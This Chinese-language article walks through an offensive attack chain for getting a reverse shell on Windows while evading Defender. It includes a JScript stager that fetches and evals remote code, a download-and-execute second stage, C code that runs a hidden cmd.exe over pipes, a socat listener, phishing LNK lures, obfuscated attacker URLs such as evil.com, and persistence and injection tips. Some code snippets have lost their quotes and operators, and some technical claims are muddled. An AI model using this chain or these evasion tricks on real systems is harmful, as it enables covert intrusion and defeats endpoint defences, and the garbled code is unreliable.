利用冷门语言绕过Windows Defender实现零检出反弹Shell 1. 项目概述当“冷门语言”遇上终端安全在终端安全攻防的战场上Windows Defender现在更常被称为Microsoft Defender Antivirus无疑是一座难以逾越的大山。它凭借与操作系统深度集成、实时更新的特征库和基于机器学习的云保护构成了一个相当坚固的防线。对于安全研究人员、渗透测试人员或红队成员而言在授权测试中如何在不触发警报的情况下在目标Windows主机上获取一个稳定的交互式Shell始终是一个核心挑战。传统的反弹Shell方法无论是使用PowerShell、Python、C#还是经典的Netcat其技术特征、行为模式或使用的API早已被安全产品记录在案极易被静态或动态检测。于是大家的思路开始转向“冷门语言”——那些在恶意软件或攻击载荷中不常见但又能被Windows原生支持或轻松部署的脚本或编程语言。这个项目的核心就是探索如何利用这些“非主流”工具链构造一个从行为到特征都足够“干净”的通信通道实现零检出Zero Detection的反弹Shell连接。这不仅仅是寻找一个替代的execve调用者。真正的挑战在于整个链路的隐匿性从初始代码的执行无文件落地或少文件落地、到进程的创建行为、网络通信的建立方式、再到内存中Shell的交互模式每一个环节都需要精心设计以避开Defender的静态签名、AMSI反恶意软件扫描接口扫描、行为监控和网络流量检测。我们将深入拆解这个过程中的核心思路、工具选型、实操步骤以及那些容易踩坑的细节。2. 核心思路与方案选型为何是“冷门语言”为什么“冷门语言”能成为绕过现代终端检测与响应EDR和杀毒软件AV的一种有效思路这背后是对检测逻辑的逆向思考。2.1 安全软件的检测逻辑剖析现代终端安全软件的检测是一个多层次的立体体系静态特征检测比对文件哈希、字符串特征如特定函数名、IP地址、域名、嵌入资源等。这是最基础的一层针对已知恶意软件非常有效。动态/行为检测监控进程创建、文件操作、注册表修改、网络连接等系统调用序列。例如一个进程快速连续执行了“创建网络连接”→“生成cmd.exe进程”→“重定向输入输出”这一系列操作就会触发高可疑度告警。运行时内存扫描与挂钩Hook通过AMSI针对脚本语言、ETW事件跟踪 for Windows或内核回调机制在脚本解释、.NET程序集加载、PowerShell命令执行等关键时刻进行内存扫描和拦截。机器学习/人工智能模型基于海量样本训练出的模型用于识别未知威胁的微妙模式。传统攻击载荷如Metasploit的windows/x64/meterpreter/reverse_tcp在上述每一层都积累了丰富的特征。而“冷门语言”的思路核心是利用检测规则的盲区或信任区。2.2 “冷门语言”的独特优势低流行度特征库覆盖少安全厂商的样本库和检测规则主要针对高流行度的攻击手法。使用一个在恶意软件历史上极少出现的语言或解释器其二进制文件、脚本模板、以及生成的进程链很可能不在静态特征库或行为基线模型中。自带“白名单”光环一些语言环境是系统自带的合法管理工具或常见的开发工具。例如cscript.exeWindows脚本宿主用于执行.vbs或.js文件mshta.exe用于执行.hta应用它们本身就是系统可信进程。利用它们来执行代码是从一个“清白”的父进程开始的降低了行为关联的嫌疑。灵活的代码交付与执行方式许多脚本语言支持从命令行直接传递代码片段-e或-c参数或者从远程URL拉取并执行代码。这为实现无文件攻击Fileless Attack提供了便利避免了恶意文件落地扫描。可规避特定运行时检测例如AMSI主要针对PowerShell、VBScript、JavaScript等。如果我们使用一种不受AMSI监控的语言运行时就绕过了这一重要检测层。2.3 候选方案评估与选型基于以上思路我们评估几个经典的“冷门语言”候选方案方案语言/工具优势潜在风险/难点方案AWindows Script Host (WSH) - JScriptcscript.exe //e:jscript系统原生无额外依赖。支持ActiveX对象可进行网络、文件操作。AMSI对传统.js文件有效但对cscript执行内联代码的监控可能较弱。Defender可能监控cscript创建网络连接及子进程的行为。需要处理字符编码和COM对象引用。方案BHTA Applicationmshta.exe本质是轻量级应用可执行HTML脚本。能直接执行VBScript/JScript且进程名为mshta.exe是合法进程。会弹出短暂的窗口可隐藏。行为上一个mshta进程去连接远程端口并生成cmd.exe仍属可疑行为。方案C.NETviacscorInstallUtilcsc.exe(编译器),InstallUtil.exe(安装工具).NET程序功能强大。利用系统自带的csc动态编译代码或利用InstallUtil的/U卸载开关执行代码是经典的“Living off the Land”技巧。AMSI会扫描.NET程序集加载。csc编译动作和InstallUtil的非正常使用可能被行为检测标记。方案DVBScript with WMIwmic.exe或scriptcontrol对象WMI是强大的管理系统wmic进程本身是管理工具。通过WMI执行VBScript代码片段父进程可信度高。WMI活动通常会被详细记录在Windows事件日志中便于事后溯源。命令行过长可能受限。方案E其他脚本引擎如python3(若目标已安装)、lua等如果目标环境恰好安装了这些非默认但合法的开发工具其进程行为在普通办公机上可能显得突兀但在开发服务器上则很平常。依赖外部环境通用性差。Python等语言的网络行为库特征也可能被识别。实操心得没有“银弹”。在实际测试中方案的成功率取决于目标系统的Defender版本、更新状态、云保护是否开启以及可能存在的其他EDR产品。一个稳健的做法是准备多个备选方案形成“战术工具箱”根据目标环境的情报例如是否为开发机、已安装的软件等进行快速切换。综合考量通用性、隐匿性和实现复杂度本项目将选择方案AJScript via cscript作为主要深入讲解的案例。因为它不依赖额外安装系统原生支持且其绕过潜力在近期的一些研究和实践中被反复验证。我们将以此为基础构建一个完整的、注重细节的零检出反弹Shell。3. 技术实现深度解析从JScript到稳定Shell选定JScript作为我们的“冷门语言”载体后接下来需要解决几个关键问题如何让代码无文件执行如何建立隐蔽的网络连接如何生成一个交互式Shell并完成输入输出重定向以及如何让整个过程尽可能“安静”。3.1 无文件代码执行与AMSI规避直接写一个.js文件到磁盘再执行是下策。我们的目标是让代码只存在于内存中。cscript.exe支持直接执行命令行中传递的脚本。cscript //E:JScript //NoLogo %~dp0$这是一个常见的技巧但这里有一个更隐蔽的写法利用WScript.Shell的Exec方法或者直接从参数中读取。我们可以构造一个单行命令将整个JScript代码作为字符串传递。但要注意过长的命令行可能被截断或显得可疑。一个更优雅的方式是利用环境变量或剪贴板如果可行暂存代码但通用性会下降。我们选择一种折中方案将核心功能封装成一个较短的“引导代码”其主要任务是从一个受控的远程位置如Web服务器拉取第二阶段的、功能更复杂的JScript负载到内存中执行。这样初始命令很短且拉取动作本身可能被解释为正常的HTTP请求。第一阶段引导代码示例可内联执行var url http://your-server.com/stage2.js; var xh new ActiveXObject(MSXML2.XMLHTTP.6.0); xh.open(GET, url, false); // 同步请求 xh.send(); eval(xh.responseText);这段代码使用了MSXML2.XMLHTTP组件进行HTTP请求然后用eval执行返回的脚本。但这里有个问题eval执行的代码可能会被AMSI捕获吗对于JScript在cscript环境下的执行AMSI的介入点与PowerShell不同但微软正在不断加强覆盖。为了更稳妥我们可以尝试混淆关键字符串或使用Function构造函数等替代eval。3.2 建立隐蔽的TCP连接与进程创建第二阶段代码stage2.js需要实现Socket连接和创建cmd.exe进程。在JScript中我们可以使用WScript.Shell对象来运行命令并使用WScript.Network不JScript没有原生的Socket对象。我们需要借助其他ActiveX组件。一个经典的方法是使用Microsoft.XMLDOM或MSXML2.ServerXMLHTTP的某些特性但它们主要用于HTTP。对于原始TCP Socket一个可行的选择是ADODB.Stream但它通常用于读写二进制数据直接作为双向通信的Socket比较别扭。更直接的方法是调用Windows底层的WinSock API。这听起来很复杂但JScript通过cscript可以调用COM组件其中有一个名为WSHController的隐藏COM对象它内部可以创建原始的Socket。然而这种方法不稳定且依赖特定系统配置。更为可靠和简洁的方案是利用cscript本身能执行系统命令的能力调用最基础的工具来建立连接。但netcat不是默认安装的。Windows自带的工具中PowerShell是功能强大的选择但用它就回到了高检测率的老路。这里引入一个关键思路分层与代理。我们让JScript代码创建一个到攻击机的HTTP或WebSocket连接因为HTTP流量在企业环境中太普遍了。然后通过这个HTTP隧道来传输我们对于cmd.exe的输入和输出。这样从网络监控层面看这只是一个持续的、可能有些长的HTTP会话而不是一个显式的反向TCP Shell连接。我们可以用JScript实现一个简单的HTTP长轮询或WebSocket客户端需要较复杂的代码但为了概念验证的清晰度我们退一步采用一个折中但有效的方案使用rundll32.exe调用urlmon.dll的URLDownloadToFile函数下载一个轻量级代理程序例如一个用Go或C编译的、特征极少的TCP转发器然后由这个代理程序去建立真正的反向Shell。这样JScript只负责“下载并执行”脏活由另一个更易控制的小程序来做。注意事项这种“下载并执行”是极其敏感的行为是几乎所有安全软件的重点监控对象。为了绕过我们需要使用合法的协议和端口使用HTTPS443端口下载模拟正常浏览器更新或软件API通信。文件落地规避使用rundll32.exe的javascript:协议或mshta的about:技巧尝试直接将二进制数据写入内存并执行但这在JScript中实现难度极高。一个更实际的“半文件”方案是下载到临时目录%TEMP%并立即执行执行后马上删除自身。虽然仍有短暂的落地但结合文件名的随机化和快速删除可以降低静态扫描命中率。证书与域名使用有效的、甚至是知名的CDN域名和HTTPS证书来托管第二阶段负载使流量看起来更合法。3.3 交互式Shell的输入输出重定向假设我们成功在内存中或通过临时文件执行了一个代理程序我们称之为agent.exe。这个agent.exe需要完成以下工作连接到攻击者控制的服务器如C2_IP:C2_PORT。创建一个新的cmd.exe进程。将cmd.exe的输入stdin、输出stdout、错误stderr全部重定向到网络Socket。在Windows上这需要用到管道Pipe和进程创建API。agent.exe可以使用CreateProcess函数并为STARTUPINFO结构中的hStdInput、hStdOutput、hStdError成员指定管道句柄。然后程序在两个线程中循环一个线程从Socket读取数据写入到cmd.exe的输入管道另一个线程从cmd.exe的输出/错误管道读取数据发送到Socket。关键技巧进程参数与窗口隐藏// C语言示例片段 (agent.exe 的核心逻辑) STARTUPINFO si {sizeof(si)}; PROCESS_INFORMATION pi; SECURITY_ATTRIBUTES sa {sizeof(sa), NULL, TRUE}; CreatePipe(hReadPipe, hWritePipe, sa, 0); si.dwFlags STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdInput hReadPipe; si.hStdOutput hWritePipe; si.hStdError hWritePipe; si.wShowWindow SW_HIDE; // 隐藏窗口 CreateProcess(NULL, cmd.exe, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, si, pi);这里CREATE_NO_WINDOW和si.wShowWindow SW_HIDE共同确保不会弹出命令行窗口实现完全后台运行。3.4 完整攻击链串联现在我们将整个链条串联起来初始入口点通过鱼叉邮件、漏洞利用、或已有的一定权限在目标机器上执行一行“干净”的命令。cscript //E:JScript //NoLogo %~dp0$ http://legit-cdn.com/update.js这里假设我们通过某种方式将引导代码作为参数传递。实践中可能需要更巧妙的包装比如嵌入在LNK文件、计划任务或注册表键值中。第一阶段JScript引导上述命令执行一段极短的JScript代码该代码从http://legit-cdn.com/update.js一个看似合法的地址拉取第二阶段JScript负载到内存并执行。第二阶段JScript核心第二阶段JScript代码update.js负责检查环境。使用ADODB.Stream或Microsoft.XMLHTTP对象通过HTTPS从另一个“资源服务器”下载agent.exe的二进制内容。使用Scripting.FileSystemObject将二进制内容写入%TEMP%\随机名.tmp。使用WScript.Shell的Run方法以隐藏窗口的方式执行这个临时文件并传递攻击者的C2地址和端口作为参数。可选立即删除下载的临时JScript文件update.js在内存中无需删除和agent.exe临时文件需等待进程启动后由agent.exe自己删除或由脚本延迟删除。第三阶段Agent代理agent.exe运行后建立到C2服务器的Socket连接创建隐藏的cmd.exe进程并完成输入输出重定向形成一个完整的交互式Shell。C2服务器攻击者机器上运行一个监听器接收来自agent.exe的连接并提供交互界面。至此我们实现了一个利用冷门语言JScript作为初始跳板通过多阶段、协议伪装HTTPS、临时文件落地后自删除等技术最终获取稳定交互式Shell的流程。整个过程初始命令简单网络流量伪装成普通HTTPS最终执行的是自定义的、特征未知的小程序从而在多层面提高了绕过Windows Defender的可能性。4. 实操部署与精细化绕过技巧理论需要实践检验。下面我们将一步步拆解如何搭建这个环境并注入一些关键的“隐身”技巧。4.1 环境准备与工具制作攻击端Kali Linux / 攻击者VPSC2监听器可以使用Netcat、SOCAT但更专业的是使用Metasploit的multi/handler配合自定义的agent.exe需要自定义payload或者使用专门用于隐蔽通信的框架如Cobalt Strike的Beacon、Sliver等。为了贴近本质我们先用简单的nc和socat演示。# 使用 socat 监听 443 端口并处理TCP流 socat TCP-LISTEN:443,reuseaddr,fork -注意在生产环境监听443端口需要root权限并且你的服务器上不应有其他服务占用此端口。更真实的伪装可能需要一个正常的Web服务器如Nginx做反向代理将特定路径的流量转发给我们的C2后端。资源服务器需要一个Web服务器如Nginx, Apache来托管第二阶段JScriptupdate.js和agent.exe二进制文件。务必配置HTTPS并申请一个看起来正常的域名和证书甚至可以使用免费的Lets Encrypt证书。Agent程序编译用C或Go编写并编译agent.exe。关键是要减小体积、去除符号信息、避免使用敏感API名称的字符串常量。Go语言编译技巧# 禁用GC减小体积静态编译去除符号表 GOOSwindows GOARCHamd64 go build -ldflags-s -w -Hwindowsgui -o agent.exe main.go-Hwindowsgui使得编译出的程序为GUI子系统运行时不会弹出控制台窗口。但我们的程序需要控制台来处理输入输出所以更常用的是构建一个控制台程序但在代码中隐藏窗口。C语言编译技巧使用MinGWx86_64-w64-mingw32-gcc -o agent.exe agent.c -lws2_32 -s -Os -mwindows-mwindows链接到GUI子系统同样需要自己在代码中处理窗口隐藏。目标端Windows 10/11 Defender开启最新定义无需特殊准备只需能执行cscript命令默认启用。4.2 第一阶段引导代码的多种投递方式如何让那行cscript命令在目标机器上执行这是整个攻击链的起点也是社会工程学或漏洞利用的环节。这里仅从技术角度列举几种方式恶意LNK快捷方式创建一个快捷方式将其目标设置为C:\Windows\System32\cmd.exe /c start /min cscript //E:JScript //NoLogo %~dp0$ https://your-cdn.com/path/update.js可以配合一个诱人的图标和文件名如“员工奖金明细.lnk”通过邮件传播。计划任务如果已有一定权限如通过漏洞获得的执行权限可以通过schtasks命令创建计划任务来执行命令。注册表启动项同样在拥有权限后可以向HKCU\Software\Microsoft\Windows\CurrentVersion\Run等位置添加启动项。Office文档宏在Word或Excel宏中使用WScript.Shell对象执行上述命令。但宏执行会触发Defender对Office宏的严格监控需配合宏混淆技术。实操心得命令混淆与分割直接将完整的URL写在命令里可能被静态检测。可以尝试以下方法环境变量拼接set ahttps://your-cdn.com/path/update.js cscript //E:JScript //NoLogo %~dp0$ %a%Base64编码将URL进行Base64编码在JScript引导代码中解码。但解码函数atob在JScript中不存在需要自己实现或使用其他方式。从合法网站内容中提取引导代码从一个完全无害的、允许用户评论的网站如GitHub Gist、Pastebin的raw链接读取一段看起来像普通文本的内容从中提取出真正的URL或代码。这增加了动态性。4.3 第二阶段JScript的隐匿技巧update.js是整个流程的“大脑”需要精心构造。字符串混淆避免明文的URL、域名、关键函数名。可以使用简单的字符拼接、ASCII码转换或自定义的编码函数。// 原始var url https://evil.com/bad.exe; // 混淆后 var part1 String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); // https:// var part2 evil . com; var part3 /bad.exe; var url part1 part2 part3;流量模仿在下载agent.exe时设置HTTP请求头使其看起来像浏览器或系统更新程序。xh.setRequestHeader(User-Agent, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36); xh.setRequestHeader(Accept, */*); xh.setRequestHeader(Cache-Control, no-cache);执行时机可以添加延迟执行逻辑避开高峰监控期或者等待用户空闲时通过检测鼠标键盘 inactivity再行动。清理痕迹在成功执行agent.exe后脚本应尝试删除自身触发的临时文件并退出。可以使用WScript.Sleep给agent.exe启动留出时间然后调用fso.DeleteFile。4.4 Agent程序的免杀与持久化agent.exe是最终驻留的后门其免杀性至关重要。代码层面避免敏感导入尽量减少动态链接库DLL的导入。必要的WS2_32.dllSocket和kernel32.dll进程管道是必须的但避免导入LoadLibraryA、GetProcAddress等常用于Shellcode加载的函数除非必要。API动态解析使用GetProcAddress和LoadLibrary来动态获取所需API的地址这样导入表中就不会出现明显的函数名。加密通信与C2服务器的通信内容应进行加密即使是简单的XOR避免明文传输命令和结果被网络层IDS/IPS检测。编译与后处理加壳/混淆使用商业或开源的加壳工具如UPX可以改变文件哈希和部分特征但UPX本身已成为一个检测点。可以尝试自定义的压缩或编码。签名如果能窃取或购买一个有效的代码签名证书但这是非法且高风险行为给agent.exe签名会极大降低被拦截的概率。但这在合法测试中几乎不可能获得。持久化机制agent.exe在运行后可以考虑将自己复制到系统目录或用户启动目录并创建计划任务、服务或注册表启动项以实现持久化。但持久化动作本身是高风险行为会触发Defender的行为监控。在初步渗透阶段可能更倾向于不持久化而是依靠稳定的Shell连接和手动维持访问。5. 检测对抗、问题排查与进阶思考即使我们做了诸多努力Defender或其他EDR仍有可能检测到异常。了解对手如何发现我们才能更好地隐藏。5.1 可能触发的告警点与排查进程创建序列告警cscript.exe→ 下载行为MSXML2.XMLHTTP → 创建临时文件 → 执行临时文件agent.exe →agent.exe创建cmd.exe。这一系列动作尤其是短时间内连续发生符合“下载并执行”和“进程链注入”的行为模式。EDR的威胁狩猎规则可能会标记。缓解在阶段之间加入随机延迟。让JScript下载后等待几分钟再执行。或者将下载和执行分离到不同时间甚至由用户某个间接行为触发。网络连接告警cscript进程或其子进程发起到外部IP的HTTPS连接。虽然HTTPS流量普遍但如果目标IP不在企业白名单内或流量模式异常如长时间保持连接、传输非HTTP格式数据可能被网络检测设备发现。缓解使用常见的云存储域名如storage.googleapis.com,blob.core.windows.net作为C2域名并确保流量在SSL/TLS加密下尽可能模拟成正常的API通信如使用特定的HTTP路径、方法。内存扫描告警Defender的云保护可能会将agent.exe进程的内存页面上传分析。如果agent.exe的代码模式或字符串特征与已知恶意软件家族相似仍可能被检测。缓解定期更新agent.exe的代码结构、加密密钥和通信协议。使用更冷门的编程语言或框架编写Agent如Nim, Rust并采用独特的架构。AMSI扫描虽然我们主要使用JScript但如果在其中调用了PowerShell或加载了.NET程序集仍会触发AMSI。确保我们的JScript代码纯用COM对象和原生JS功能。5.2 常见问题速查表问题现象可能原因排查与解决思路初始cscript命令执行后无任何反应进程退出。1. 命令语法错误。2. 目标系统cscript被组策略禁用。3. 脚本代码存在语法错误导致立即退出。1. 在测试机上逐字核对命令。注意//E:JScript和//NoLogo的斜杠方向。2. 检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings下的Enabled键值。3. 在脚本开头添加try...catch或将错误输出到文件cscript //E:JScript test.js error.log 21。可以下载update.js但后续无反应。1.update.js代码执行错误如ActiveX对象创建失败。2. 下载agent.exe的URL错误或网络不通。3. 写入临时文件失败权限不足、路径无效。1. 在update.js中添加详细的日志输出写入临时文件来调试每一步。2. 确保资源服务器的HTTPS证书有效且链完整避免因证书问题导致XMLHTTP请求失败。3. 检查%TEMP%环境变量是否可用以及脚本是否有权限写入。agent.exe被下载但无法执行或被立即删除。1. Defender实时保护检测并删除了agent.exe。2. 文件没有执行权限。3. 父进程cscript或WScript.Shell被拦截。1. 这是免杀失败的核心标志。需要重新处理agent.exe的免杀加壳、混淆、改特征。2. 尝试以其他方式执行如使用rundll32.exe调用agent.dll如果编译为DLL的导出函数。3. 检查Defender的隔离区历史记录了解检测名称。能连接到C2服务器但无法获得交互式Shell。1.agent.exe创建进程或管道重定向代码有bug。2. 防火墙或主机策略阻止了cmd.exe的网络出站(通常不会)3. C2监听器设置错误如端口、协议。1. 先在本地测试agent.exe让它连接本地的Netcat看是否能正常工作。使用调试器或打印日志来定位问题。2. 确保agent.exe以适当权限运行通常需要与当前用户相同或更高。3. 使用socat或nc -lvnp仔细检查连接是否建立数据是否收发。5.3 进阶思考与演化这个基于JScript的方案只是一个起点。防御在进化攻击技术也需要持续迭代。更冷的语言探索VBScript与JScript类似、JScript.NET需.NET框架、Windows PowerShell的替代品PowerShell Core跨平台但可能检测率低、甚至利用regsvr32.exe执行.sct文件Scriplet等。每种都有其独特的上下文和检测盲区。无TCP连接使用DNS隧道、ICMP隧道、或者基于HTTP/2、WebSocket等更上层协议的全双工通信将流量完全伪装在合法应用协议中。内存驻留完全放弃文件落地。利用进程注入技术如DLL注入、Process Hollowing、AtomBombing等将Shellcode或整个Agent功能注入到一个合法的、长期存在的系统进程如explorer.exe,svchost.exe中。这需要更高的技术门槛并且对系统稳定性有影响。防御者视角作为蓝队如何防御此类攻击加强应用白名单AppLocker、严格限制脚本宿主cscript,wscript的执行、监控异常的进程创建链特别是从脚本宿主衍生出的网络连接和子进程创建、部署能深度分析网络流量行为的NDR产品。这个项目清晰地展示了现代攻防的本质这是一场关于“特征”和“行为”的猫鼠游戏。攻击者不断寻找并利用系统生态中那些被信任但功能强大的“灰色地带”而防御者则需要不断细化策略从单纯的静态特征匹配发展到对行为序列的深度理解和异常检测。对于安全从业者而言理解这些绕过技术的原理不是为了实施攻击而是为了构建更全面、更深入的防御体系。只有知道攻击者会从哪些意想不到的角度进来才能把围墙修得没有死角。